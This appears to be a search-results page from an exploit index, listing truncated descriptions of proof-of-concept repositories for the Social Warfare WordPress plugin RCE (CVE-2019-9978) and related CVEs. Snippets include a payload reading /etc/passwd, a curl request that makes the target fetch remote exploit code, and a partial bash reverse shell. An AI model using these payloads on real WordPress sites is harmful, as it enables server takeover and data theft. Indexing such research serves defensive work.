136 matches found
CVE-2019-9978
CVE-2019-9978 CVE-2019-9978 - PoC RCE in Social WarFare Plugin system'cat /etc/passwd' Save it with filename: payload.txt and upload it on a server. The URI should look like: https://yoursite.com/payload.txt. Finally, supply your --target and --payload-uri options: $ python cve-2019-9978.py...
MegaQuagga_Pentesting_Report
MegaQuagga Informe de Pentesting Este repositorio contiene una prueba de penetración completa de una aplicación web realizada contra un entorno de WordPress. La evaluación incluye descubrimiento de vulnerabilidades, explotación, post-explotación y documentación del impacto real de los ataques. 🔍...
CVE-2019-9978
Social Warfare Plugin Wordpress 3.5.2 Ejecución Remota de Código Wordpress Social Warfare Ejecución Remota de Código AUTO SUBIR SHELL Fecha: marzo de 2019 Enlace de descarga: https://wordpress.org/plugins/social-warfare/ Referencia: https://wpvulndb.com/vulnerabilities/9259 Versión: CVE: 2019-997...
CVE-2019-9978-RCE-PoC
CVE-2019-9978 RCE PoC – Social Warfare WordPress Plugin Exploit Unauthenticated Remote File Inclusion RFI to Remote Code Execution RCE 📌 Description This repository contains a Python-based Proof of Concept PoC demonstrating the exploitation of CVE-2019-9978 , a critical vulnerability in the Socia...
CVE-2019-9978
CVE-2019-9978 - RCE en el plugin Social Warfare para Wordpress 3.5.3 Ejecución remota de código en el plugin Social Warfare anterior a la versión 3.5.3 para Wordpress. Este PoC no requiere ejecutar un servidor HTTP adicional. Solo pasa tu IP local y el puerto deseado y el exploit creará un servid...
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...
CVE-2019-9978_Exploit
Exploit CVE-2019-9978 Plugin Social WarFare =3.5.2 Ejecución remota de código...
CVE-2019-9978-Social-Warfare-WordPress-RCE
🚀 CVE-2019-9978 – Ejecución Remota de Código en el Plugin Social Warfare de WordPress ⚠️ AVISO: Este repositorio es solo para pruebas de seguridad educativas y autorizadas. Úselo únicamente en sistemas que posea o para los que tenga permiso explícito por escrito. El acceso no autorizado es ilegal...
Vuln_Remediation_MegaQuagga
VulnRemediationMegaQuagga Informe de remediación para MegaQuagga Publishing que valida la mitigación de CVE-2019-9978 mediante una defensa progresiva por capas. Documenta la inserción de un proxy inverso, la implementación de ModSecurity como WAF, la integración con Graylog SIEM y la aplicación d...
CVE-2019-9978
CVE-2019-9978 Vulnerabilidad RCE en el plugin Social Warfare de WordPress 3.5.3 🐞 Simulación mínima del plugin vulnerable y su explotación 🥰 Instalación del plugin vulnerable Instalar dependencias: docker-compose build Iniciar los contenedores del servidor vulnerable y atacante docker-compose up ...
CVE-2019-9978
CVE-2019-9978 – Proof of Concept PoC PoC funcional para la vulnerabilidad CVE-2019-9978 , que afecta al plugin Social Warfare = 3.5.2, permitiendo Remote Code Execution RCE en WordPress. 📌 Descripción Este exploit abusa del parámetro swpdebug=loadoptions para forzar la carga de un payload remoto,...
CVE-2019-9978
CVE-2019-9978 - RCE en el Plugin Social Warfare de WordPress system'cat /etc/passwd' ✅ Paso 2 – Iniciar un Servidor HTTP de Python Usa Python para servir tu payload: python3 -m http.server 8000 Esto hará que tu payload.txt sea accesible en: http://:8000/payload.txt ✅ Paso 3 – Ejecutar el Exploit...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - Social Warfare WordPress Plugin RCE This repository contains a working Python exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare plugin for WordPress version system"bash -c \"bash -i & /...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2...
CVE-2023-4842
The Social Sharing Plugin - Social Warfare plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'socialwarfare' shortcode in versions up to, and including, 4.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for...
CVE-2024-34825
Cross-Site Request Forgery CSRF vulnerability in Warfare Plugins Social Warfare.This issue affects Social Warfare: from n/a through 4.4.5.1...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2019-9978-RCE-PoC A custom Pytho...
EUVD-2024-35090
Malicious code in bioql PyPI...